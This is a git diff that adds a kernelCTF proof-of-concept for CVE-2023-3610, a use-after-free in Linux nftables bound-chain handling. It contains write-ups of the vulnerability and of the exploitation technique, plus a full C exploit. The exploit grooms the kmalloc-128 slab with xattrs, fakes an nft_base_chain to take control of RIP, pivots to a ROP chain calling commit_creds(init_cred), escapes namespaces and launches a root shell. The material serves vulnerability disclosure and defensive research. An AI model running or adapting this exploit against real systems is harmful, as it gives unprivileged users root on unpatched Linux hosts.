diff --git a/pocs/linux/kernelctf/CVE-2023-3610_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2023-3610_cos/docs/exploit.md new file mode 100644 index 000000000..1193eb99f --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3610_cos/docs/exploit.md @@ -0,0 +1,127 @@ +## Triggering the use-after-free and reallocation + +To trigger the vulnerability we have to create a batch transaction. +The chain object will be freed immediately when rule creation fails, but processing of the transaction will continue, allowing us to reallocate the victim object from kmalloc-128. + +A good option is to use a table user data attribute - we can choose an arbitrary size for the allocation and the whole buffer will be filled with our data. + +Steps of the batch transaction: +1. Create the victim chain "v" with NFT_BINDING_FLAG. +2. Create a rule with a jump to "v" and an invalid expression to trigger removal of the chain. +3. Create a new table with user data containing a fake nft_chain object. + +## Getting RIP control. + +Following code is executed when nftables try to rollback the creation of the victim chain: +``` + case NFT_MSG_NEWCHAIN: + if (nft_trans_chain_update(trans)) { + free_percpu(nft_trans_chain_stats(trans)); + kfree(nft_trans_chain_name(trans)); + nft_trans_destroy(trans); + } else { + if (nft_trans_chain_bound(trans)) { + nft_trans_destroy(trans); + break; + } + nft_use_dec_restore(&trans->ctx.table->use); + nft_chain_del(trans->ctx.chain); + nf_tables_unregister_hook(trans->ctx.net, + trans->ctx.table, + trans->ctx.chain); +``` + +The last call is interesting: + +``` +static void __nf_tables_unregister_hook(struct net *net, + const struct nft_table *table, + struct nft_chain *chain, + bool release_netdev) +{ + struct nft_base_chain *basechain; + const struct nf_hook_ops *ops; + + if (table->flags & NFT_TABLE_F_DORMANT || + !nft_is_base_chain(chain)) [1] + return; + basechain = nft_base_chain(chain); + ops = &basechain->ops; + + if (basechain->type->ops_unregister) // [2] + return basechain->type->ops_unregister(net, ops); + +... +} + +static void nf_tables_unregister_hook(struct net *net, + const struct nft_table *table, + struct nft_chain *chain) +{ + return __nf_tables_unregister_hook(net, table, chain, false); +} +`` + +If we pass the checks for the basechain at [1], we will get RIP control through the ops_unregister function pointer in the nft_chain_type object at [2]. + +There's only one problem. nft_base_chain is a larger structure containing nft_chain: +``` +struct nft_base_chain { + struct nf_hook_ops ops; /* 0 0x28 */ + + /* XXX last struct has 4 bytes of padding */ + + struct list_head hook_list; /* 0x28 0x10 */ + const struct nft_chain_type * type; /* 0x38 0x8 */ + /* --- cacheline 1 boundary (64 bytes) --- */ + u8 policy; /* 0x40 0x1 */ + u8 flags; /* 0x41 0x1 */ + + /* XXX 6 bytes hole, try to pack */ + + struct nft_stats * stats; /* 0x48 0x8 */ + struct nft_chain chain; /* 0x50 0x78 */ + /* --- cacheline 3 boundary (192 bytes) was 8 bytes ago --- */ + struct flow_block flow_block; /* 0xc8 0x10 */ + + /* size: 216, cachelines: 4, members: 8 */ +}; +``` + +The type pointer is located before the nft_chain object we control. +The solution to this is to prepare a slab with fake base_chain objects preceding the victim chain in memory. +Due to freelist randomization we can not predict where in the slab our chain will be located, but we can just allocate all objects except one and then run the batch transaction so that the victim chain is the one making the slab full. +We also need to allocate a full slab of fake base chains before that, just in case our victim will be at the very beginning of the slab. + +To ensure good stability we use the zoneinfo parsing technique to detect the allocation of the new kmalloc-128 slab. +This is done in the prepare_slab() function. +We also need a place to store the fake nft_chain_type object pointed to by nft_base_chain->type and warncomm technique was used for that. + +## Pivot to ROP + +When ops_unregister is called, RSI contains a pointer to the ops field at the beginning of the fake base chain object. + +This means we only need 2 gadgets to pivot to the ROP chain: + + +``` +push rsi +jmp qword ptr [rsi + 0xF] +``` + +and + +``` +pop rsp +``` + + +## Second pivot + +Our objects are quite small (128 bytes) and we have to jump over important fields like flags or type, so to be able to run the whole privilege escalation ROP we need to first pivot again to a large area. +This is done by choosing an unused read/write area in the kernel and using copy_user_generic_string() to copy the second stage ROP from userspace to that area. +Then we use a `pop rsp ; ret` gadget to pivot there. + +## Privilege escalation + +The ROP chain does the standard commit_creds(init_cred); switch_task_namespaces(pid, init_nsproxy); sequence and returns to the userspace. diff --git a/pocs/linux/kernelctf/CVE-2023-3610_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2023-3610_cos/docs/vulnerability.md new file mode 100644 index 000000000..7ed8510b0 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3610_cos/docs/vulnerability.md @@ -0,0 +1,69 @@ +## Requirements to trigger the vulnerability + +- CAP_NET_ADMIN in a namespace is required +- Kernel configuration: CONFIG_NF_TABLES +- User namespaces required: yes + +## Commit which introduced the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=d0e2c7de92c7f2b3d355ad76b0bb9fc43d1beb87 + +## Commit which fixed the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?h=4bedf9eee016286c835e3d8fa981ddece5338795 + +## Affected kernel versions + +Introduced in 5.9. Fixed in 5.15.119 and other stable trees. + +## Affected component, subsystem + +net/netfilter + +## Description + +Nftables uses batch transactions when updating the ruleset to attempt to have atomicity. +This approach was a source of many vulnerabilities, mainly of use-after-free type. + +In this case the vulnerability affects the handling of bound chains. +This is a special type of a chain that is bound to an expression that refers to it (e.g. a jump) and removed at the same time as the referring expression. + +If following objects are created in the transaction: +- a bound chain "victim" +- rule with an immediate expression referring to "victim" and an invalid expression after that. + +then the transaction is aborted and chain "victim" is removed in nft_immediate_destroy(), but it is still on the commit list and \_\_nf_tables_abort() will try to destroy it again: + +``` + list_for_each_entry_safe_reverse(trans, next, &nft_net->commit_list, + list) { + switch (trans->msg_type) { +... + case NFT_MSG_NEWCHAIN: + if (nft_trans_chain_update(trans)) { + free_percpu(nft_trans_chain_stats(trans)); + kfree(nft_trans_chain_name(trans)); + nft_trans_destroy(trans); + } else { + if (nft_chain_is_bound(trans->ctx.chain)) { // [1] + nft_trans_destroy(trans); + break; + } + trans->ctx.table->use--; + nft_chain_del(trans->ctx.chain); + nf_tables_unregister_hook(trans->ctx.net, + trans->ctx.table, + trans->ctx.chain); + } + break; + +... + list_for_each_entry_safe_reverse(trans, next, + &nft_net->commit_list, list) { + list_del(&trans->list); + nf_tables_abort_release(trans); + } +... +``` + +The code tries to check the bound status at [1], but trans->ctx.chain points to already freed memory (use-after-free). diff --git a/pocs/linux/kernelctf/CVE-2023-3610_cos/exploit/cos-105-17412.101.42/Makefile b/pocs/linux/kernelctf/CVE-2023-3610_cos/exploit/cos-105-17412.101.42/Makefile new file mode 100644 index 000000000..81686559e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3610_cos/exploit/cos-105-17412.101.42/Makefile @@ -0,0 +1,9 @@ +INCLUDES = +LIBS = -pthread -ldl -lnftnl -lmnl +CFLAGS = -fomit-frame-pointer -static -fcf-protection=none + +exploit: exploit.c kernelver_17412.101.42.h + gcc -o $@ exploit.c $(INCLUDES) $(CFLAGS) $(LIBS) + +prerequisites: + sudo apt-get install libkeyutils-dev libnftnl-dev libmnl-dev diff --git a/pocs/linux/kernelctf/CVE-2023-3610_cos/exploit/cos-105-17412.101.42/exploit b/pocs/linux/kernelctf/CVE-2023-3610_cos/exploit/cos-105-17412.101.42/exploit new file mode 100755 index 000000000..e241d2e2d Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-3610_cos/exploit/cos-105-17412.101.42/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-3610_cos/exploit/cos-105-17412.101.42/exploit.c b/pocs/linux/kernelctf/CVE-2023-3610_cos/exploit/cos-105-17412.101.42/exploit.c new file mode 100644 index 000000000..f092f4b4c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3610_cos/exploit/cos-105-17412.101.42/exploit.c @@ -0,0 +1,925 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +#include "kernelver_17412.101.42.h" + + +static char *g_mmapped_buf; +static uint64_t g_kernel_text; + +static char *g_sh_argv[] = {"sh", NULL}; + +#define MMAP_SIZE 0x5000 + +static char *g_rop2; + +#define SLAB_128_CNT 32 +#define XATTR_HEAD_SIZE 0x20 + +static int g_pwned; + +int setup_namespaces() +{ + char *uid_map; + char *gid_map; + int ret, map; + uid_t uid = getuid(); + uid_t gid = getgid(); + + if (unshare(CLONE_NEWUSER|CLONE_NEWNET|CLONE_NEWNS)) { + perror("unshare"); + exit(1); + } + + map = open("/proc/self/setgroups", O_WRONLY); + ret = write(map, "deny", 4); + + if (ret < 4) { + perror("setgroups write"); + exit(1); + } + + close(map); + + asprintf(&uid_map, "0 %d 1\n", uid); + size_t len = strlen(uid_map); + + map = open("/proc/self/uid_map", O_WRONLY); + + ret = write(map, uid_map, len); + + if (ret < len) { + perror("uid map write"); + exit(1); + } + close(map); + + asprintf(&gid_map, "0 %d 1\n", gid); + map = open("/proc/self/gid_map", O_WRONLY); + ret = write(map, gid_map, len); + + if (ret < len) { + perror("gid map write"); + exit(1); + } + + close(map); + + if (mount("tmpfs", "/tmp", "tmpfs", 0, NULL)) { + perror("mount"); + exit(1); + } + +} + +void set_cpu(int cpu) +{ + cpu_set_t cpus; + CPU_ZERO(&cpus); + CPU_SET(cpu, &cpus); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) { + perror("setaffinity"); + exit(1); + } +} + +int alloc_xattr_fd_attr(int fd, char *attr, size_t size, void *buf) +{ + int res = fsetxattr(fd, attr, buf, size - XATTR_HEAD_SIZE, XATTR_CREATE); + if (res < 0) { + err(1, "fsetxattr"); + } + + return fd; +} + +int alloc_xattr_fd(int fd, unsigned int id, size_t size, void *buf) +{ + char *attr; + + asprintf(&attr, "security.%d", id); + alloc_xattr_fd_attr(fd, attr, size, buf); + + return fd; +} + +void get_kctf_flag() +{ + char buf[512]; + + + int fd = open("/flag", O_RDONLY); + + if (fd < 0) + return; + + size_t n = read(fd, buf, sizeof(buf)); + if (n > 0) { + printf("Flag:\n"); + + write(1, buf, n); + + printf("\n"); + } + + close(fd); +} + +void __attribute__((naked)) after_pwn() +{ +// Fix user stack and recover eflags since we didn't do when returning from kernel mode + asm volatile( + "mov %0, %%rsp\n" + :: "r" (g_mmapped_buf + MMAP_SIZE - 0x100) + ); + + g_pwned = 1; + + + if (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0) + perror("setns"); + + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + printf("\nGot root!!!\n"); + printf("Getting kctf flags ...\n"); + + get_kctf_flag(); + + printf("Launching shell, system will crash when you exit because I didn't bother with recovery ...\n"); + execve("/bin/sh", g_sh_argv, NULL); + + printf("Shell exited, sleeping for 30 seconds, after that system might crash\n"); + + sleep(30); + _exit(0); +} + +uint64_t kaddr(uint64_t addr) +{ + return g_kernel_text + addr - 0xffffffff81000000uL; +} + +/* Netlink code based on syzcaller generated snippets */ +struct nlmsg { + char* pos; + int nesting; + struct nlattr* nested[8]; + char buf[0x30000]; +}; + +static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, + const void* data, int size) +{ + memset(nlmsg, 0, sizeof(*nlmsg)); + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_type = typ; + hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; + memcpy(hdr + 1, data, size); + nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); +} + +static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, + int size) +{ + struct nlattr* attr = (struct nlattr*)nlmsg->pos; + // printf("attr size: %d\n", size); + + attr->nla_len = sizeof(*attr) + size; + + if (nlmsg->pos - nlmsg->buf + attr->nla_len > sizeof(nlmsg->buf)) + errx(1, "Netlink buffer overflow, increase size in struct nlmsg\n"); + + attr->nla_type = typ; + if (size > 0) + memcpy(attr + 1, data, size); + nlmsg->pos += NLMSG_ALIGN(attr->nla_len); +} + +static void netlink_nest(struct nlmsg* nlmsg, int typ) +{ + struct nlattr* attr = (struct nlattr*)nlmsg->pos; + attr->nla_type = typ | NLA_F_NESTED; + nlmsg->pos += sizeof(*attr); + nlmsg->nested[nlmsg->nesting++] = attr; +} + + +static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, + int* reply_len, bool dofail) +{ + if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) + err(1, "netlink_send_ext error"); + + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; + + struct sockaddr_nl addr; + memset(&addr, 0, sizeof(addr)); + addr.nl_family = AF_NETLINK; + + ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, + (struct sockaddr*)&addr, sizeof(addr)); + + if (n != (ssize_t)hdr->nlmsg_len) { + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + + n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); + if (reply_len) + *reply_len = 0; + + if (n < 0) { + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (n < (ssize_t)sizeof(struct nlmsghdr)) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (hdr->nlmsg_type == NLMSG_DONE) + return 0; + + if (reply_len && hdr->nlmsg_type == reply_type) { + *reply_len = n; + return 0; + } + if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (hdr->nlmsg_type != NLMSG_ERROR) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + + errno = -((struct nlmsgerr*)(hdr + 1))->error; + return -errno; +} + +static int netlink_send(struct nlmsg* nlmsg, int sock) +{ + return netlink_send_ext(nlmsg, sock, 0, NULL, false); +} + + +/* End of syzkaller code */ + + +static struct nlmsg nlmsg; + +struct nl_cache *g_link_cache; +static struct nl_sock *g_nl_sock; + +static void netlink_device_change(struct nlmsg* nlmsg, int sock, + const char* name, bool up, const char* master, + const void* mac, int macsize, + const char* new_name) +{ + struct ifinfomsg hdr; + memset(&hdr, 0, sizeof(hdr)); + + if (up) + hdr.ifi_flags = hdr.ifi_change = IFF_UP; + + hdr.ifi_index = if_nametoindex(name); + + netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr)); + + if (new_name) + netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name)); + + if (master) { + int ifindex = if_nametoindex(master); + netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex)); + } + + netlink_send(nlmsg, sock); +} + +static void setup_network(void) +{ + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) + exit(1); + + netlink_device_change(&nlmsg, sock, "lo", true, 0, NULL, 0, NULL); + + close(sock); +} + +void prepare_fake_chain(char *buf) +{ + char *chain = buf; + + uint64_t *rop2 = (uint64_t *)(chain); + *rop2++ = kaddr(POP_RSP); + *rop2++ = kaddr(RW_BUFFER); + +// list + *(uint64_t *)(chain+0x20) = kaddr(RW_BUFFER); + *(uint64_t *)(chain+0x28) = kaddr(RW_BUFFER); + +// rhlhead + *(uint64_t *)(chain+0x40) = kaddr(NFT_OBJNAME_HT) - 0x10; + +// flags = NFT_CHAIN_BASE + *(chain+0x54) = 1; + +// name + *(uint64_t *)(chain+0x78) = kaddr(RW_BUFFER); +} + +struct nftnl_chain * create_chain(char *chain_name) +{ + int ret; + struct nftnl_chain *t; + + t = nftnl_chain_alloc(); + if (t == NULL) + err(1, "chain"); + + nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, "filter"); + + if (chain_name) { + nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, chain_name); + } else { + nftnl_chain_set_u32(t, NFTNL_CHAIN_ID, 1); + nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, "v"); + nftnl_chain_set_u32(t, NFTNL_CHAIN_FLAGS, NFT_CHAIN_BINDING); + } + + return t; +} + + +struct nftnl_rule * create_rule(char *chain_name) +{ + struct nftnl_rule *r; + + r = nftnl_rule_alloc(); + if (r == NULL) { + perror("OOM"); + exit(EXIT_FAILURE); + } + + nftnl_rule_set_str(r, NFTNL_RULE_TABLE, "filter"); + nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain_name); + nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, NFPROTO_IPV4); + + struct nftnl_expr *e; + + e = nftnl_expr_alloc("immediate"); + if (!e) + err(1, "imm"); + + nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, NFT_JUMP); + nftnl_expr_set_str(e, NFTNL_EXPR_IMM_CHAIN, "v"); + nftnl_rule_add_expr(r, e); + + + struct nftnl_expr *e2 = nftnl_expr_alloc("immediate"); + if (!e2) + err(1, "imm"); + + nftnl_rule_add_expr(r, e2); + + return r; +} + +void set_warncomm(char *name) +{ + int ret, sock; + + ret = prctl(PR_SET_NAME, name); + + if (ret < 0) { + perror("prctl"); + exit(1); + } + + char buf[32]; + int fd = open("/proc/sys/net/ipv6/neigh/lo/base_reachable_time", 0); + if (fd < 0) + err(1, "open"); + read(fd, buf, 32); + close(fd); +} + +void do_batch() +{ + struct mnl_socket *nl; + static char buf[100000]; + struct nlmsghdr *nlh; + uint32_t portid, seq, chain_seq, rule_seq; + int ret, family = NFPROTO_IPV4; + struct nftnl_table *table; + struct mnl_nlmsg_batch *batch; + + + seq = time(NULL); + + batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + + int chain_idx = 0; + char *ch; + + mnl_nlmsg_batch_next(batch); + struct nftnl_chain *t = create_chain(NULL); + chain_seq = seq; + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWCHAIN, family, + NLM_F_CREATE, seq++); + nftnl_chain_nlmsg_build_payload(nlh, t); + nftnl_chain_free(t); + + mnl_nlmsg_batch_next(batch); + struct nftnl_rule *r = create_rule("c1"); + rule_seq = seq; + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWRULE, + nftnl_rule_get_u32(r, NFTNL_RULE_FAMILY), + NLM_F_APPEND|NLM_F_CREATE, seq++); + + nftnl_rule_nlmsg_build_payload(nlh, r); + nftnl_rule_free(r); + + mnl_nlmsg_batch_next(batch); + + table = nftnl_table_alloc(); + if (table == NULL) + err(1, "table"); + nftnl_table_set_u32(table, NFTNL_TABLE_FAMILY, NFPROTO_IPV4); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, "table2"); + + prepare_fake_chain(g_mmapped_buf); + nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, g_mmapped_buf, 128); + + family = nftnl_table_get_u32(table, NFTNL_TABLE_FAMILY); + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWTABLE, family, + NLM_F_CREATE|NLM_F_ACK, seq++); + nftnl_table_nlmsg_build_payload(nlh, table); + nftnl_table_free(table); + + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nl = mnl_socket_open(NETLINK_NETFILTER); + if (nl == NULL) { + perror("mnl_socket_open"); + exit(EXIT_FAILURE); + } + + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { + perror("mnl_socket_bind"); + exit(EXIT_FAILURE); + } + portid = mnl_socket_get_portid(nl); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch)) < 0) { + perror("mnl_socket_send"); + exit(EXIT_FAILURE); + } + + mnl_nlmsg_batch_stop(batch); + + mnl_socket_close(nl); +} + +void add_chain_flags(char *chain_name, int flags) +{ + struct mnl_socket *nl; + char buf[MNL_SOCKET_BUFFER_SIZE]; + struct nlmsghdr *nlh; + uint32_t portid, seq, chain_seq; + int ret, family = NFPROTO_IPV4; + struct nftnl_chain *t; + struct mnl_nlmsg_batch *batch; + + t = nftnl_chain_alloc(); + if (t == NULL) + err(1, "chain"); + + nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, "filter"); + + if (chain_name) { + nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, chain_name); + if (flags) + nftnl_chain_set_u32(t, NFTNL_CHAIN_FLAGS, flags); + } else { + nftnl_chain_set_u32(t, NFTNL_CHAIN_ID, 1); + nftnl_chain_set_u32(t, NFTNL_CHAIN_FLAGS, NFT_CHAIN_BINDING); + } + + seq = time(NULL); + + batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + chain_seq = seq; + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWCHAIN, family, + NLM_F_CREATE|NLM_F_ACK, seq++); + nftnl_chain_nlmsg_build_payload(nlh, t); + nftnl_chain_free(t); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nl = mnl_socket_open(NETLINK_NETFILTER); + if (nl == NULL) { + perror("mnl_socket_open"); + exit(EXIT_FAILURE); + } + + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { + perror("mnl_socket_bind"); + exit(EXIT_FAILURE); + } + portid = mnl_socket_get_portid(nl); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch)) < 0) { + perror("mnl_socket_send"); + exit(EXIT_FAILURE); + } + + mnl_nlmsg_batch_stop(batch); + + ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); + while (ret > 0) { + ret = mnl_cb_run(buf, ret, chain_seq, portid, NULL, NULL); + if (ret <= 0) + break; + ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); + } + if (ret == -1) { + perror("recvfrom"); + exit(EXIT_FAILURE); + } + mnl_socket_close(nl); +} + +void add_table(char *name) +{ + struct mnl_socket *nl; + char buf[MNL_SOCKET_BUFFER_SIZE]; + struct nlmsghdr *nlh; + uint32_t portid, seq, table_seq, family = NFPROTO_IPV4; + struct nftnl_table *t; + struct mnl_nlmsg_batch *batch; + int ret; + + t = nftnl_table_alloc(); + if (t == NULL) + err(1, "table"); + nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, NFPROTO_IPV4); + nftnl_table_set_str(t, NFTNL_TABLE_NAME, name); + seq = time(NULL); + batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + table_seq = seq; + family = nftnl_table_get_u32(t, NFTNL_TABLE_FAMILY); + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWTABLE, family, + NLM_F_CREATE|NLM_F_ACK, seq++); + nftnl_table_nlmsg_build_payload(nlh, t); + nftnl_table_free(t); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nl = mnl_socket_open(NETLINK_NETFILTER); + if (nl == NULL) { + perror("mnl_socket_open"); + exit(EXIT_FAILURE); + } + + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { + perror("mnl_socket_bind"); + exit(EXIT_FAILURE); + } + portid = mnl_socket_get_portid(nl); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch)) < 0) { + perror("mnl_socket_send"); + exit(EXIT_FAILURE); + } + + mnl_nlmsg_batch_stop(batch); + + ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); + while (ret > 0) { + ret = mnl_cb_run(buf, ret, table_seq, portid, NULL, NULL); + if (ret <= 0) + break; + ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); + } + if (ret == -1) { + perror("error"); + exit(EXIT_FAILURE); + } + mnl_socket_close(nl); +} + + +size_t prepare_rop2(uint64_t *rop2) +{ + uint64_t *rop2_start = rop2; + + + *rop2++ = kaddr(POP_RDI); + *rop2++ = kaddr(INIT_CRED); + *rop2++ = kaddr(COMMIT_CREDS); + *rop2++ = kaddr(AUDIT_SYSCALL_EXIT); + + // Namespace escape based on code by Crusaders of Rust + *rop2++ = kaddr(POP_RDI); + *rop2++ = 1; + *rop2++ = kaddr(FIND_TASK_BY_VPID); + + *rop2++ = kaddr(MOV_RDI_RAX); + + *rop2++ = kaddr(POP_RSI); + *rop2++ = kaddr(INIT_NSPROXY); + + *rop2++ = kaddr(SWITCH_TASK_NAMESPACES); + + *rop2++ = kaddr(POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX); +// eflags + *rop2++ = 0; + rop2 += 6; + +// Userspace RIP + *rop2++ = (uint64_t) after_pwn; + + *rop2++ = kaddr(RETURN_VIA_SYSRET); + + return (char *) rop2 - (char *) rop2_start; +} + + + + +unsigned int parse_zoneinfo(char *buf, char *zone, unsigned int cpu, unsigned int *high, unsigned int *batch) +{ + char *t; + + t = strstr(buf, zone); + + char cpustr[10]; + snprintf(cpustr, sizeof(cpu), "cpu: %d", cpu); + + t = strstr(t, cpustr); + t = strstr(t, "count: "); + + unsigned int cnt = atoi(t+7); + + if (high) { + t = strstr(t, "high: "); + *high = atoi(t+6); + } + + if (batch) { + t = strstr(t, "batch: "); + *batch = atoi(t+7); + } + + return cnt; + +} + +unsigned int get_pagecount(unsigned int cpu, unsigned int *high, unsigned int *batch) +{ + static char zibuf[10000]; + static int fdzi = -1; + + if (fdzi < 0) { + fdzi = open("/proc/zoneinfo", 0, O_DIRECT); + if (fdzi < 0) + err(1, "open zoneinfo"); + } + + lseek(fdzi, SEEK_SET, 0); + read(fdzi, zibuf, sizeof(zibuf)); + + return parse_zoneinfo(zibuf, "zone Normal", cpu, high, batch); +} + +void prepare_base_chain(char *buf) +{ + char *obj = buf - 0x20; + + *(uint64_t *) (obj + 0x80 - 0x18) = WARNCOMM - 0x58; + + *(uint64_t *) (obj + 0x80 - 0x50 + 0xF) = kaddr(POP_RSP); + +// &nft_base_chain.ops + uint64_t *rop = (uint64_t *) (obj + 0x80 - 0x50); + + *rop++ = kaddr(POP_RSI_RDI); + rop += 2; + + *rop++ = kaddr(POP_RSI_RDI); + *rop++ = (uint64_t) g_rop2; + *rop++ = kaddr(RW_BUFFER); + + *rop++ = kaddr(POP_RDX_RDI); + rop += 1; + *rop++ = kaddr(RW_BUFFER); + + *rop++ = kaddr(COPY_USER_GENERIC_STRING); + +// ROP continued in prepare_fake_chain() + +} + +int prepare_slab(unsigned int cpu, int xattr_fd) +{ + unsigned int pcp1, pcp2; + + + unsigned int detected = 0; + + pcp1 = get_pagecount(cpu, NULL, NULL); + + prepare_base_chain(g_mmapped_buf); + + for (unsigned int i = 0; i < SLAB_128_CNT * 10; i++) + { + alloc_xattr_fd(xattr_fd, i, 128, g_mmapped_buf); + + pcp2 = get_pagecount(cpu, NULL, NULL); + int delta = pcp2 - pcp1; + pcp1 = pcp2; + + if (delta == -1) { + detected = 1; + break; + } + + } + + if (!detected) + errx(1, "Unable to detect new kmalloc-128 slab"); + + + for (unsigned int i = 0; i < (SLAB_128_CNT * 3 - 3); i++) + { + alloc_xattr_fd(xattr_fd, i + 1000, 128, g_mmapped_buf); + } +} + +int main(int argc, char **argv) +{ + struct rlimit rlim; + + system("cat /proc/cpuinfo"); + + rlim.rlim_cur = rlim.rlim_max = 4096; + if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) + err(1, "setrlimit()"); + + printf("Using default kernel base, your chance is 1/512, good luck!\nTry providing leaked kernel base as argv[1]\n"); + + g_kernel_text = 0xffffffff81000000uL; + + setbuf(stdout, NULL); + + uint64_t fake_chain_type = kaddr(PUSH_RSI_JMP_QWORD_RSI_0F); + set_warncomm((char *) &fake_chain_type); + + setup_namespaces(); + setup_network(); + + g_mmapped_buf = mmap(NULL, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_mmapped_buf == MAP_FAILED) { + perror("mmap"); + return 1; + } + + memset(g_mmapped_buf, 0, MMAP_SIZE); + + sleep(2); + +#define ROP2_MMAP_SIZE 0x4000 + g_rop2 = mmap(NULL, ROP2_MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_rop2 == MAP_FAILED) + err(1, "mmap"); + + prepare_rop2((uint64_t *) g_rop2); + + set_cpu(0); + + int xattr_fd = open("/tmp/x", O_RDWR|O_CREAT); + if (xattr_fd < 0) + err(1, "xattr open\n"); + + add_table("filter"); + add_chain_flags("c1", 0); + + prepare_slab(0, xattr_fd); + + do_batch(); + + if (!g_pwned) { + printf("Failed to trigger vuln, try again!\n"); + _exit(0); + } + +// Can't exit, everything might crash + while (1) + sleep(1000); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2023-3610_cos/exploit/cos-105-17412.101.42/kernelver_17412.101.42.h 